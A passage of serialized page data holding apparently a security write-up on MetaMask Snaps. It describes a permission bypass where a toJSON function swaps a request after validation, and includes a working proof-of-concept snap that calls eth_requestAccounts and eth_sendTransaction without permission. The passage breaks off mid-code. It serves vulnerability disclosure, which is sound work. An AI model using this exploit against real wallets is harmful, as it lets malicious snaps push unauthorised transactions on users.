this",{"type":24,"tag":90,"props":40775,"children":40776},{"style":114},[40777],{"type":29,"value":226},{"type":24,"tag":90,"props":40779,"children":40780},{"style":108},[40781],{"type":29,"value":40633},{"type":24,"tag":90,"props":40783,"children":40784},{"style":114},[40785],{"type":29,"value":33311},{"type":24,"tag":90,"props":40787,"children":40788},{"style":136},[40789],{"type":29,"value":33316},{"type":24,"tag":90,"props":40791,"children":40792},{"style":1085},[40793],{"type":29,"value":40794}," 'OutboundResponse'",{"type":24,"tag":90,"props":40796,"children":40797},{"style":114},[40798],{"type":29,"value":40651},{"type":24,"tag":90,"props":40800,"children":40801},{"class":92,"line":574},[40802],{"type":24,"tag":90,"props":40803,"children":40804},{"style":114},[40805],{"type":29,"value":15030},{"type":24,"tag":90,"props":40807,"children":40808},{"class":92,"line":606},[40809],{"type":24,"tag":90,"props":40810,"children":40811},{"style":114},[40812],{"type":29,"value":40813}," };\n",{"type":24,"tag":25,"props":40815,"children":40816},{},[40817,40819,40824,40826,40831],{"type":29,"value":40818},"In particular, this function is from the ",{"type":24,"tag":32,"props":40820,"children":40822},{"className":40821},[],[40823],{"type":29,"value":39994},{"type":29,"value":40825}," provider, but the only thing that changes between this and ",{"type":24,"tag":32,"props":40827,"children":40829},{"className":40828},[],[40830],{"type":29,"value":33230},{"type":29,"value":40832}," is the assert function in the first line.",{"type":24,"tag":25,"props":40834,"children":40835},{},[40836],{"type":29,"value":40837},"As we can see in the code, the execution flow follows this pattern:",{"type":24,"tag":3100,"props":40839,"children":40840},{},[40841,40853,40858],{"type":24,"tag":3104,"props":40842,"children":40843},{},[40844,40846,40851],{"type":29,"value":40845},"Assert if ",{"type":24,"tag":32,"props":40847,"children":40849},{"className":40848},[],[40850],{"type":29,"value":40044},{"type":29,"value":40852}," are valid",{"type":24,"tag":3104,"props":40854,"children":40855},{},[40856],{"type":29,"value":40857},"getSafeJson to get sanitizedArgs",{"type":24,"tag":3104,"props":40859,"children":40860},{},[40861],{"type":29,"value":40862},"originalRequest(sanitizedArgs)",{"type":24,"tag":25,"props":40864,"children":40865},{},[40866,40868,40874],{"type":29,"value":40867},"Obs: ",{"type":24,"tag":32,"props":40869,"children":40871},{"className":40870},[],[40872],{"type":29,"value":40873},"originalRequest",{"type":29,"value":40875}," makes the RPC call to metamask service worker",{"type":24,"tag":1019,"props":40877,"children":40879},{"id":40878},"safe-json-exploit",[40880],{"type":29,"value":40881},"Safe JSON Exploit",{"type":24,"tag":25,"props":40883,"children":40884},{},[40885,40887,40893,40895,40900,40902,40908],{"type":29,"value":40886},"As we dug further into the",{"type":24,"tag":32,"props":40888,"children":40890},{"className":40889},[],[40891],{"type":29,"value":40892},"getSafeJson",{"type":29,"value":40894}," function (defined in ",{"type":24,"tag":32,"props":40896,"children":40898},{"className":40897},[],[40899],{"type":29,"value":39112},{"type":29,"value":40901}," package) we discovered the following ",{"type":24,"tag":69,"props":40903,"children":40906},{"href":40904,"rel":40905},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[73],[40907],{"type":29,"value":32},{"type":29,"value":78},{"type":24,"tag":80,"props":40910,"children":40912},{"className":37429,"code":40911,"language":37431,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n assertStruct(value, UnsafeJsonStruct);\n return JSON.parse(\n JSON.stringify(value, (propKey, propValue) => {\n // Strip __proto__ and constructor properties to prevent prototype pollution.\n if (propKey === '__proto__' || propKey === 'constructor') {\n return undefined;\n }\n return propValue;\n }),\n );\n});\n",[40913],{"type":24,"tag":32,"props":40914,"children":40915},{"__ignoreMap":7},[40916,40981,41008,41033,41088,41096,41143,41159,41166,41183,41190,41197],{"type":24,"tag":90,"props":40917,"children":40918},{"class":92,"line":93},[40919,40923,40928,40933,40937,40942,40946,40951,40955,40959,40964,40969,40973,40977],{"type":24,"tag":90,"props":40920,"children":40921},{"style":636},[40922],{"type":29,"value":40025},{"type":24,"tag":90,"props":40924,"children":40925},{"style":97},[40926],{"type":29,"value":40927}," const",{"type":24,"tag":90,"props":40929,"children":40930},{"style":136},[40931],{"type":29,"value":40932}," JsonStruct",{"type":24,"tag":90,"props":40934,"children":40935},{"style":120},[40936],{"type":29,"value":216},{"type":24,"tag":90,"props":40938,"children":40939},{"style":108},[40940],{"type":29,"value":40941}," coerce",{"type":24,"tag":90,"props":40943,"children":40944},{"style":114},[40945],{"type":29,"value":117},{"type":24,"tag":90,"props":40947,"children":40948},{"style":136},[40949],{"type":29,"value":40950},"UnsafeJsonStruct",{"type":24,"tag":90,"props":40952,"children":40953},{"style":114},[40954],{"type":29,"value":133},{"type":24,"tag":90,"props":40956,"children":40957},{"style":108},[40958],{"type":29,"value":3234},{"type":24,"tag":90,"props":40960,"children":40961},{"style":114},[40962],{"type":29,"value":40963},"(), (",{"type":24,"tag":90,"props":40965,"children":40966},{"style":136},[40967],{"type":29,"value":40968},"value",{"type":24,"tag":90,"props":40970,"children":40971},{"style":114},[40972],{"type":29,"value":172},{"type":24,"tag":90,"props":40974,"children":40975},{"style":97},[40976],{"type":29,"value":1315},{"type":24,"tag":90,"props":40978,"children":40979},{"style":114},[40980],{"type":29,"value":269},{"type":24,"tag":90,"props":40982,"children":40983},{"class":92,"line":200},[40984,40988,40992,40996,41000,41004],{"type":24,"tag":90,"props":40985,"children":40986},{"style":108},[40987],{"type":29,"value":40376},{"type":24,"tag":90,"props":40989,"children":40990},{"style":114},[40991],{"type":29,"value":117},{"type":24,"tag":90,"props":40993,"children":40994},{"style":136},[40995],{"type":29,"value":40968},{"type":24,"tag":90,"props":40997,"children":40998},{"style":114},[40999],{"type":29,"value":133},{"type":24,"tag":90,"props":41001,"children":41002},{"style":136},[41003],{"type":29,"value":40950},{"type":24,"tag":90,"props":41005,"children":41006},{"style":114},[41007],{"type":29,"value":571},{"type":24,"tag":90,"props":41009,"children":41010},{"class":92,"line":239},[41011,41016,41020,41024,41029],{"type":24,"tag":90,"props":41012,"children":41013},{"style":636},[41014],{"type":29,"value":41015}," return",{"type":24,"tag":90,"props":41017,"children":41018},{"style":136},[41019],{"type":29,"value":39344},{"type":24,"tag":90,"props":41021,"children":41022},{"style":114},[41023],{"type":29,"value":226},{"type":24,"tag":90,"props":41025,"children":41026},{"style":108},[41027],{"type":29,"value":41028},"parse",{"type":24,"tag":90,"props":41030,"children":41031},{"style":114},[41032],{"type":29,"value":680},{"type":24,"tag":90,"props":41034,"children":41035},{"class":92,"line":248},[41036,41041,41045,41050,41054,41058,41062,41067,41071,41076,41080,41084],{"type":24,"tag":90,"props":41037,"children":41038},{"style":136},[41039],{"type":29,"value":41040}," JSON",{"type":24,"tag":90,"props":41042,"children":41043},{"style":114},[41044],{"type":29,"value":226},{"type":24,"tag":90,"props":41046,"children":41047},{"style":108},[41048],{"type":29,"value":41049},"stringify",{"type":24,"tag":90,"props":41051,"children":41052},{"style":114},[41053],{"type":29,"value":117},{"type":24,"tag":90,"props":41055,"children":41056},{"style":136},[41057],{"type":29,"value":40968},{"type":24,"tag":90,"props":41059,"children":41060},{"style":114},[41061],{"type":29,"value":11194},{"type":24,"tag":90,"props":41063,"children":41064},{"style":136},[41065],{"type":29,"value":41066},"propKey",{"type":24,"tag":90,"props":41068,"children":41069},{"style":114},[41070],{"type":29,"value":133},{"type":24,"tag":90,"props":41072,"children":41073},{"style":136},[41074],{"type":29,"value":41075},"propValue",{"type":24,"tag":90,"props":41077,"children":41078},{"style":114},[41079],{"type":29,"value":172},{"type":24,"tag":90,"props":41081,"children":41082},{"style":97},[41083],{"type":29,"value":1315},{"type":24,"tag":90,"props":41085,"children":41086},{"style":114},[41087],{"type":29,"value":269},{"type":24,"tag":90,"props":41089,"children":41090},{"class":92,"line":258},[41091],{"type":24,"tag":90,"props":41092,"children":41093},{"style":252},[41094],{"type":29,"value":41095}," // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":24,"tag":90,"props":41097,"children":41098},{"class":92,"line":272},[41099,41104,41108,41112,41116,41121,41125,41130,41134,41139],{"type":24,"tag":90,"props":41100,"children":41101},{"style":636},[41102],{"type":29,"value":41103}," if",{"type":24,"tag":90,"props":41105,"children":41106},{"style":114},[41107],{"type":29,"value":1151},{"type":24,"tag":90,"props":41109,"children":41110},{"style":136},[41111],{"type":29,"value":41066},{"type":24,"tag":90,"props":41113,"children":41114},{"style":120},[41115],{"type":29,"value":33235},{"type":24,"tag":90,"props":41117,"children":41118},{"style":1085},[41119],{"type":29,"value":41120}," '__proto__'",{"type":24,"tag":90,"props":41122,"children":41123},{"style":120},[41124],{"type":29,"value":25505},{"type":24,"tag":90,"props":41126,"children":41127},{"style":136},[41128],{"type":29,"value":41129}," propKey",{"type":24,"tag":90,"props":41131,"children":41132},{"style":120},[41133],{"type":29,"value":33235},{"type":24,"tag":90,"props":41135,"children":41136},{"style":1085},[41137],{"type":29,"value":41138}," 'constructor'",{"type":24,"tag":90,"props":41140,"children":41141},{"style":114},[41142],{"type":29,"value":1297},{"type":24,"tag":90,"props":41144,"children":41145},{"class":92,"line":281},[41146,41150,41155],{"type":24,"tag":90,"props":41147,"children":41148},{"style":636},[41149],{"type":29,"value":2253},{"type":24,"tag":90,"props":41151,"children":41152},{"style":97},[41153],{"type":29,"value":41154}," undefined",{"type":24,"tag":90,"props":41156,"children":41157},{"style":114},[41158],{"type":29,"value":381},{"type":24,"tag":90,"props":41160,"children":41161},{"class":92,"line":384},[41162],{"type":24,"tag":90,"props":41163,"children":41164},{"style":114},[41165],{"type":29,"value":15030},{"type":24,"tag":90,"props":41167,"children":41168},{"class":92,"line":420},[41169,41174,41179],{"type":24,"tag":90,"props":41170,"children":41171},{"style":636},[41172],{"type":29,"value":41173}," return",{"type":24,"tag":90,"props":41175,"children":41176},{"style":136},[41177],{"type":29,"value":41178}," propValue",{"type":24,"tag":90,"props":41180,"children":41181},{"style":114},[41182],{"type":29,"value":381},{"type":24,"tag":90,"props":41184,"children":41185},{"class":92,"line":428},[41186],{"type":24,"tag":90,"props":41187,"children":41188},{"style":114},[41189],{"type":29,"value":40361},{"type":24,"tag":90,"props":41191,"children":41192},{"class":92,"line":437},[41193],{"type":24,"tag":90,"props":41194,"children":41195},{"style":114},[41196],{"type":29,"value":40228},{"type":24,"tag":90,"props":41198,"children":41199},{"class":92,"line":574},[41200],{"type":24,"tag":90,"props":41201,"children":41202},{"style":114},[41203],{"type":29,"value":37153},{"type":24,"tag":25,"props":41205,"children":41206},{},[41207,41209,41215,41217,41222,41224,41230,41232,41238],{"type":29,"value":41208},"The function performs a ",{"type":24,"tag":32,"props":41210,"children":41212},{"className":41211},[],[41213],{"type":29,"value":41214},"JSON.parse(JSON.stringify(value))",{"type":29,"value":41216}," in the argument sent to ",{"type":24,"tag":32,"props":41218,"children":41220},{"className":41219},[],[41221],{"type":29,"value":40892},{"type":29,"value":41223},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":24,"tag":32,"props":41225,"children":41227},{"className":41226},[],[41228],{"type":29,"value":41229},"toJSON",{"type":29,"value":41231}," function in a legit ",{"type":24,"tag":32,"props":41233,"children":41235},{"className":41234},[],[41236],{"type":29,"value":41237},"snap.request",{"type":29,"value":41239}," argument:",{"type":24,"tag":3100,"props":41241,"children":41242},{},[41243,41248,41253],{"type":24,"tag":3104,"props":41244,"children":41245},{},[41246],{"type":29,"value":41247},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":24,"tag":3104,"props":41249,"children":41250},{},[41251],{"type":29,"value":41252},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":24,"tag":3104,"props":41254,"children":41255},{},[41256],{"type":29,"value":41257},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":24,"tag":25,"props":41259,"children":41260},{},[41261],{"type":29,"value":41262},"The assertion bypass can be useful on two occasions:",{"type":24,"tag":3100,"props":41264,"children":41265},{},[41266,41271],{"type":24,"tag":3104,"props":41267,"children":41268},{},[41269],{"type":29,"value":41270},"forward blocked RPC methods",{"type":24,"tag":3104,"props":41272,"children":41273},{},[41274,41276,41281,41283,41289,41291,41296],{"type":29,"value":41275},"Making requests in ",{"type":24,"tag":32,"props":41277,"children":41279},{"className":41278},[],[41280],{"type":29,"value":41237},{"type":29,"value":41282}," that were only supposed to be done within ",{"type":24,"tag":32,"props":41284,"children":41286},{"className":41285},[],[41287],{"type":29,"value":41288},"ethereum.request",{"type":29,"value":41290}," (with ",{"type":24,"tag":32,"props":41292,"children":41294},{"className":41293},[],[41295],{"type":29,"value":40465},{"type":29,"value":41297}," enabled).",{"type":24,"tag":25,"props":41299,"children":41300},{},[41301],{"type":29,"value":41302},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":24,"tag":1019,"props":41304,"children":41305},{"id":8048},[41306],{"type":29,"value":8051},{"type":24,"tag":25,"props":41308,"children":41309},{},[41310],{"type":29,"value":41311},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":24,"tag":25,"props":41313,"children":41314},{},[41315],{"type":24,"tag":6301,"props":41316,"children":41318},{"alt":7,"src":41317},"/posts/metamask-snaps/note.png",[],{"type":24,"tag":1019,"props":41320,"children":41322},{"id":41321},"proof-of-concept",[41323],{"type":29,"value":36644},{"type":24,"tag":25,"props":41325,"children":41326},{},[41327,41329,41334,41336,41341,41343,41349],{"type":29,"value":41328},"To demonstrate the issue, we created a snap without the ",{"type":24,"tag":32,"props":41330,"children":41332},{"className":41331},[],[41333],{"type":29,"value":40465},{"type":29,"value":41335}," permission, and used the ",{"type":24,"tag":32,"props":41337,"children":41339},{"className":41338},[],[41340],{"type":29,"value":39994},{"type":29,"value":41342}," interface to call ",{"type":24,"tag":32,"props":41344,"children":41346},{"className":41345},[],[41347],{"type":29,"value":41348},"eth_sendTransaction",{"type":29,"value":41350},". According to the documentation, this shouldn't be possible:",{"type":24,"tag":80,"props":41352,"children":41354},{"className":37429,"code":41353,"language":37431,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_requestAccounts\",\n params: []\n }\n }\n\n return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_sendTransaction\",\n params: [{\n from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n value: \"0x1\",\n }]\n }\n }\n\n return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n switch (request.method) {\n case 'json':\n return jsonExploit();\n case 'transaction':\n return transactionExploit();\n default:\n throw new Error('Method not found.');\n }\n};\n",[41355],{"type":24,"tag":32,"props":41356,"children":41357},{"__ignoreMap":7},[41358,41391,41398,41405,41422,41451,41458,41483,41490,41522,41533,41550,41563,41570,41577,41584,41616,41623,41630,41637,41653,41680,41687,41710,41717,41748,41759,41775,41787,41808,41823,41840,41848,41855,41862,41869,41900,41907,41914,41974,41981,42009,42026,42041,42057,42072,42084,42114,42121],{"type":24,"tag":90,"props":41359,"children":41360},{"class":92,"line":93},[41361,41365,41369,41374,41378,41382,41387],{"type":24,"tag":90,"props":41362,"children":41363},{"style":636},[41364],{"type":29,"value":21278},{"type":24,"tag":90,"props":41366,"children":41367},{"style":114},[41368],{"type":29,"value":1196},{"type":24,"tag":90,"props":41370,"children":41371},{"style":136},[41372],{"type":29,"value":41373},"OnRpcRequestHandler",{"type":24,"tag":90,"props":41375,"children":41376},{"style":114},[41377],{"type":29,"value":38018},{"type":24,"tag":90,"props":41379,"children":41380},{"style":636},[41381],{"type":29,"value":21268},{"type":24,"tag":90,"props":41383,"children":41384},{"style":1085},[41385],{"type":29,"value":41386}," '@metamask/snaps-types'",{"type":24,"tag":90,"props":41388,"children":41389},{"style":114},[41390],{"type":29,"value":381},{"type":24,"tag":90,"props":41392,"children":41393},{"class":92,"line":200},[41394],{"type":24,"tag":90,"props":41395,"children":41396},{"emptyLinePlaceholder":16},[41397],{"type":29,"value":245},{"type":24,"tag":90,"props":41399,"children":41400},{"class":92,"line":239},[41401],{"type":24,"tag":90,"props":41402,"children":41403},{"emptyLinePlaceholder":16},[41404],{"type":29,"value":245},{"type":24,"tag":90,"props":41406,"children":41407},{"class":92,"line":248},[41408,41412,41417],{"type":24,"tag":90,"props":41409,"children":41410},{"style":97},[41411],{"type":29,"value":33190},{"type":24,"tag":90,"props":41413,"children":41414},{"style":108},[41415],{"type":29,"value":41416}," jsonExploit",{"type":24,"tag":90,"props":41418,"children":41419},{"style":114},[41420],{"type":29,"value":41421},"(){\n",{"type":24,"tag":90,"props":41423,"children":41424},{"class":92,"line":258},[41425,41429,41433,41437,41442,41446],{"type":24,"tag":90,"props":41426,"children":41427},{"style":97},[41428],{"type":29,"value":10233},{"type":24,"tag":90,"props":41430,"children":41431},{"style":136},[41432],{"type":29,"value":20859},{"type":24,"tag":90,"props":41434,"children":41435},{"style":120},[41436],{"type":29,"value":216},{"type":24,"tag":90,"props":41438,"children":41439},{"style":114},[41440],{"type":29,"value":41441}," [] ",{"type":24,"tag":90,"props":41443,"children":41444},{"style":636},[41445],{"type":29,"value":361},{"type":24,"tag":90,"props":41447,"children":41448},{"style":146},[41449],{"type":29,"value":41450}," any\n",{"type":24,"tag":90,"props":41452,"children":41453},{"class":92,"line":272},[41454],{"type":24,"tag":90,"props":41455,"children":41456},{"emptyLinePlaceholder":16},[41457],{"type":29,"value":245},{"type":24,"tag":90,"props":41459,"children":41460},{"class":92,"line":281},[41461,41466,41470,41474,41478],{"type":24,"tag":90,"props":41462,"children":41463},{"style":136},[41464],{"type":29,"value":41465}," x",{"type":24,"tag":90,"props":41467,"children":41468},{"style":114},[41469],{"type":29,"value":226},{"type":24,"tag":90,"props":41471,"children":41472},{"style":136},[41473],{"type":29,"value":40129},{"type":24,"tag":90,"props":41475,"children":41476},{"style":120},[41477],{"type":29,"value":216},{"type":24,"tag":90,"props":41479,"children":41480},{"style":1085},[41481],{"type":29,"value":41482}," \"snap_dialog\"\n",{"type":24,"tag":90,"props":41484,"children":41485},{"class":92,"line":384},[41486],{"type":24,"tag":90,"props":41487,"children":41488},{"emptyLinePlaceholder":16},[41489],{"type":29,"value":245},{"type":24,"tag":90,"props":41491,"children":41492},{"class":92,"line":420},[41493,41497,41501,41505,41509,41514,41518],{"type":24,"tag":90,"props":41494,"children":41495},{"style":136},[41496],{"type":29,"value":41465},{"type":24,"tag":90,"props":41498,"children":41499},{"style":114},[41500],{"type":29,"value":226},{"type":24,"tag":90,"props":41502,"children":41503},{"style":108},[41504],{"type":29,"value":41229},{"type":24,"tag":90,"props":41506,"children":41507},{"style":120},[41508],{"type":29,"value":216},{"type":24,"tag":90,"props":41510,"children":41511},{"style":114},[41512],{"type":29,"value":41513}," () ",{"type":24,"tag":90,"props":41515,"children":41516},{"style":97},[41517],{"type":29,"value":1315},{"type":24,"tag":90,"props":41519,"children":41520},{"style":114},[41521],{"type":29,"value":269},{"type":24,"tag":90,"props":41523,"children":41524},{"class":92,"line":428},[41525,41529],{"type":24,"tag":90,"props":41526,"children":41527},{"style":636},[41528],{"type":29,"value":3510},{"type":24,"tag":90,"props":41530,"children":41531},{"style":114},[41532],{"type":29,"value":269},{"type":24,"tag":90,"props":41534,"children":41535},{"class":92,"line":437},[41536,41541,41546],{"type":24,"tag":90,"props":41537,"children":41538},{"style":136},[41539],{"type":29,"value":41540}," method:",{"type":24,"tag":90,"props":41542,"children":41543},{"style":1085},[41544],{"type":29,"value":41545}," \"eth_requestAccounts\"",{"type":24,"tag":90,"props":41547,"children":41548},{"style":114},[41549],{"type":29,"value":748},{"type":24,"tag":90,"props":41551,"children":41552},{"class":92,"line":574},[41553,41558],{"type":24,"tag":90,"props":41554,"children":41555},{"style":136},[41556],{"type":29,"value":41557}," params:",{"type":24,"tag":90,"props":41559,"children":41560},{"style":114},[41561],{"type":29,"value":41562}," []\n",{"type":24,"tag":90,"props":41564,"children":41565},{"class":92,"line":606},[41566],{"type":24,"tag":90,"props":41567,"children":41568},{"style":114},[41569],{"type":29,"value":612},{"type":24,"tag":90,"props":41571,"children":41572},{"class":92,"line":615},[41573],{"type":24,"tag":90,"props":41574,"children":41575},{"style":114},[41576],{"type":29,"value":8257},{"type":24,"tag":90,"props":41578,"children":41579},{"class":92,"line":623},[41580],{"type":24,"tag":90,"props":41581,"children":41582},{"emptyLinePlaceholder":16},[41583],{"type":29,"value":245},{"type":24,"tag":90,"props":41585,"children":41586},{"class":92,"line":632},[41587,41591,41596,41600,41604,41608,41612],{"type":24,"tag":90,"props":41588,"children":41589},{"style":636},[41590],{"type":29,"value":41015},{"type":24,"tag":90,"props":41592,"children":41593},{"style":136},[41594],{"type":29,"value":41595}," snap",{"type":24,"tag":90,"props":41597,"children":41598},{"style":114},[41599],{"type":29,"value":226},{"type":24,"tag":90,"props":41601,"children":41602},{"style":108},[41603],{"type":29,"value":33306},{"type":24,"tag":90,"props":41605,"children":41606},{"style":114},[41607],{"type":29,"value":117},{"type":24,"tag":90,"props":41609,"children":41610},{"style":136},[41611],{"type":29,"value":21070},{"type":24,"tag":90,"props":41613,"children":41614},{"style":114},[41615],{"type":29,"value":1686},{"type":24,"tag":90,"props":41617,"children":41618},{"class":92,"line":669},[41619],{"type":24,"tag":90,"props":41620,"children":41621},{"emptyLinePlaceholder":16},[41622],{"type":29,"value":245},{"type":24,"tag":90,"props":41624,"children":41625},{"class":92,"line":683},[41626],{"type":24,"tag":90,"props":41627,"children":41628},{"style":114},[41629],{"type":29,"value":827},{"type":24,"tag":90,"props":41631,"children":41632},{"class":92,"line":737},[41633],{"type":24,"tag":90,"props":41634,"children":41635},{"emptyLinePlaceholder":16},[41636],{"type":29,"value":245},{"type":24,"tag":90,"props":41638,"children":41639},{"class":92,"line":751},[41640,41644,41649],{"type":24,"tag":90,"props":41641,"children":41642},{"style":97},[41643],{"type":29,"value":33190},{"type":24,"tag":90,"props":41645,"children":41646},{"style":108},[41647],{"type":29,"value":41648}," transactionExploit",{"type":24,"tag":90,"props":41650,"children":41651},{"style":114},[41652],{"type":29,"value":41421},{"type":24,"tag":90,"props":41654,"children":41655},{"class":92,"line":782},[41656,41660,41664,41668,41672,41676],{"type":24,"tag":90,"props":41657,"children":41658},{"style":97},[41659],{"type":29,"value":10233},{"type":24,"tag":90,"props":41661,"children":41662},{"style":136},[41663],{"type":29,"value":20859},{"type":24,"tag":90,"props":41665,"children":41666},{"style":120},[41667],{"type":29,"value":216},{"type":24,"tag":90,"props":41669,"children":41670},{"style":114},[41671],{"type":29,"value":41441},{"type":24,"tag":90,"props":41673,"children":41674},{"style":636},[41675],{"type":29,"value":361},{"type":24,"tag":90,"props":41677,"children":41678},{"style":146},[41679],{"type":29,"value":41450},{"type":24,"tag":90,"props":41681,"children":41682},{"class":92,"line":791},[41683],{"type":24,"tag":90,"props":41684,"children":41685},{"emptyLinePlaceholder":16},[41686],{"type":29,"value":245},{"type":24,"tag":90,"props":41688,"children":41689},{"class":92,"line":799},[41690,41694,41698,41702,41706],{"type":24,"tag":90,"props":41691,"children":41692},{"style":136},[41693],{"type":29,"value":41465},{"type":24,"tag":90,"props":41695,"children":41696},{"style":114},[41697],{"type":29,"value":226},{"type":24,"tag":90,"props":41699,"children":41700},{"style":136},[41701],{"type":29,"value":40129},{"type":24,"tag":90,"props":41703,"children":41704},{"style":120},[41705],{"type":29,"value":216},{"type":24,"tag":90,"props":41707,"children":41708},{"style":1085},[41709],{"type":29,"value":41482},{"type":24,"tag":90,"props":41711,"children":41712},{"class":92,"line":807},[41713],{"type":24,"tag":90,"props":41714,"children":41715},{"emptyLinePlaceholder":16},[41716],{"type":29,"value":245},{"type":24,"tag":90,"props":41718,"children":41719},{"class":92,"line":821},[41720,41724,41728,41732,41736,41740,41744],{"type":24,"tag":90,"props":41721,"children":41722},{"style":136},[41723],{"type":29,"value":41465},{"type":24,"tag":90,"props":41725,"children":41726},{"style":114},[41727],{"type":29,"value":226},{"type":24,"tag":90,"props":41729,"children":41730},{"style":108},[41731],{"type":29,"value":41229},{"type":24,"tag":90,"props":41733,"children":41734},{"style":120},[41735],{"type":29,"value":216},{"type":24,"tag":90,"props":41737,"children":41738},{"style":114},[41739],{"type":29,"value":41513},{"type":24,"tag":90,"props":41741,"children":41742},{"style":97},[41743],{"type":29,"value":1315},{"type":24,"tag":90,"props":41745,"children":41746},{"style":114},[41747],{"type":29,"value":269},{"type":24,"tag":90,"props":41749,"children":41750},{"class":92,"line":6278},[41751,41755],{"type":24,"tag":90,"props":41752,"children":41753},{"style":636},[41754],{"type":29,"value":3510},{"type":24,"tag":90,"props":41756,"children":41757},{"style":114},[41758],{"type":29,"value":269},{"type":24,"tag":90,"props":41760,"children":41761},{"class":92,"line":11420},[41762,41766,41771],{"type":24,"tag":90,"props":41763,"children":41764},{"style":136},[41765],{"type":29,"value":41540},{"type":24,"tag":90,"props":41767,"children":41768},{"style":1085},[41769],{"type":29,"value":41770}," \"eth_sendTransaction\"",{"type":24,"tag":90,"props":41772,"children":41773},{"style":114},[41774],{"type":29,"value":748},{"type":24,"tag":90,"props":41776,"children":41777},{"class":92,"line":11438},[41778,41782],{"type":24,"tag":90,"props":41779,"children":41780},{"style":136},[41781],{"type":29,"value":41557},{"type":24,"tag":90,"props":41783,"children":41784},{"style":114},[41785],{"type":29,"value":41786}," [{\n",{"type":24,"tag":90,"props":41788,"children":41789},{"class":92,"line":11483},[41790,41794,41799,41803],{"type":24,"tag":90,"props":41791,"children":41792},{"style":136},[41793],{"type":29,"value":33878},{"type":24,"tag":90,"props":41795,"children":41796},{"style":1085},[41797],{"type":29,"value":41798}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":24,"tag":90,"props":41800,"children":41801},{"style":114},[41802],{"type":29,"value":133},{"type":24,"tag":90,"props":41804,"children":41805},{"style":252},[41806],{"type":29,"value":41807},"// change this to your address\n",{"type":24,"tag":90,"props":41809,"children":41810},{"class":92,"line":11589},[41811,41815,41819],{"type":24,"tag":90,"props":41812,"children":41813},{"style":136},[41814],{"type":29,"value":33894},{"type":24,"tag":90,"props":41816,"children":41817},{"style":1085},[41818],{"type":29,"value":41798},{"type":24,"tag":90,"props":41820,"children":41821},{"style":114},[41822],{"type":29,"value":748},{"type":24,"tag":90,"props":41824,"children":41825},{"class":92,"line":25306},[41826,41831,41836],{"type":24,"tag":90,"props":41827,"children":41828},{"style":136},[41829],{"type":29,"value":41830}," value:",{"type":24,"tag":90,"props":41832,"children":41833},{"style":1085},[41834],{"type":29,"value":41835}," \"0x1\"",{"type":24,"tag":90,"props":41837,"children":41838},{"style":114},[41839],{"type":29,"value":748},{"type":24,"tag":90,"props":41841,"children":41842},{"class":92,"line":25341},[41843],{"type":24,"tag":90,"props":41844,"children":41845},{"style":114},[41846],{"type":29,"value":41847}," }]\n",{"type":24,"tag":90,"props":41849,"children":41850},{"class":92,"line":25349},[41851],{"type":24,"tag":90,"props":41852,"children":41853},{"style":114},[41854],{"type":29,"value":612},{"type":24,"tag":90,"props":41856,"children":41857},{"class":92,"line":25357},[41858],{"type":24,"tag":90,"props":41859,"children":41860},{"style":114},[41861],{"type":29,"value":8257},{"type":24,"tag":90,"props":41863,"children":41864},{"class":92,"line":25366},[41865],{"type":24,"tag":90,"props":41866,"children":41867},{"emptyLinePlaceholder":16},[41868],{"type":29,"value":245},{"type":24,"tag":90,"props":41870,"children":41871},{"class":92,"line":25408},[41872,41876,41880,41884,41888,41892,41896],{"type":24,"tag":90,"props":41873,"children":41874},{"style":636},[41875],{"type":29,"value":41015},{"type":24,"tag":90,"props":41877,"children":41878},{"style":136},[41879],{"type":29,"value":41595},{"type":24,"tag":90,"props":41881,"children":41882},{"style":114},[41883],{"type":29,"value":226},{"type":24,"tag":90,"props":41885,"children":41886},{"style":108},[41887],{"type":29,"value":33306},{"type":24,"tag":90,"props":41889,"children":41890},{"style":114},[41891],{"type":29,"value":117},{"type":24,"tag":90,"props":41893,"children":41894},{"style":136},[41895],{"type":29,"value":21070},{"type":24,"tag":90,"props":41897,"children":41898},{"style":114},[41899],{"type":29,"value":571},{"type":24,"tag":90,"props":41901,"children":41902},{"class":92,"line":25441},[41903],{"type":24,"tag":90,"props":41904,"children":41905},{"style":114},[41906],{"type":29,"value":827},{"type":24,"tag":90,"props":41908,"children":41909},{"class":92,"line":25449},[41910],{"type":24,"tag":90,"props":41911,"children":41912},{"emptyLinePlaceholder":16},[41913],{"type":29,"value":245},{"type":24,"tag":90,"props":41915,"children":41916},{"class":92,"line":25457},[41917,41921,41925,41930,41934,41939,41943,41948,41953,41957,41961,41966,41970],{"type":24,"tag":90,"props":41918,"children":41919},{"style":636},[41920],{"type":29,"value":40025},{"type":24,"tag":90,"props":41922,"children":41923},{"style":97},[41924],{"type":29,"value":40927},{"type":24,"tag":90,"props":41926,"children":41927},{"style":108},[41928],{"type":29,"value":41929}," onRpcRequest",{"type":24,"tag":90,"props":41931,"children":41932},{"style":120},[41933],{"type":29,"value":78},{"type":24,"tag":90,"props":41935,"children":41936},{"style":146},[41937],{"type":29,"value":41938}," OnRpcRequestHandler",{"type":24,"tag":90,"props":41940,"children":41941},{"style":120},[41942],{"type":29,"value":216},{"type":24,"tag":90,"props":41944,"children":41945},{"style":114},[41946],{"type":29,"value":41947}," ({ 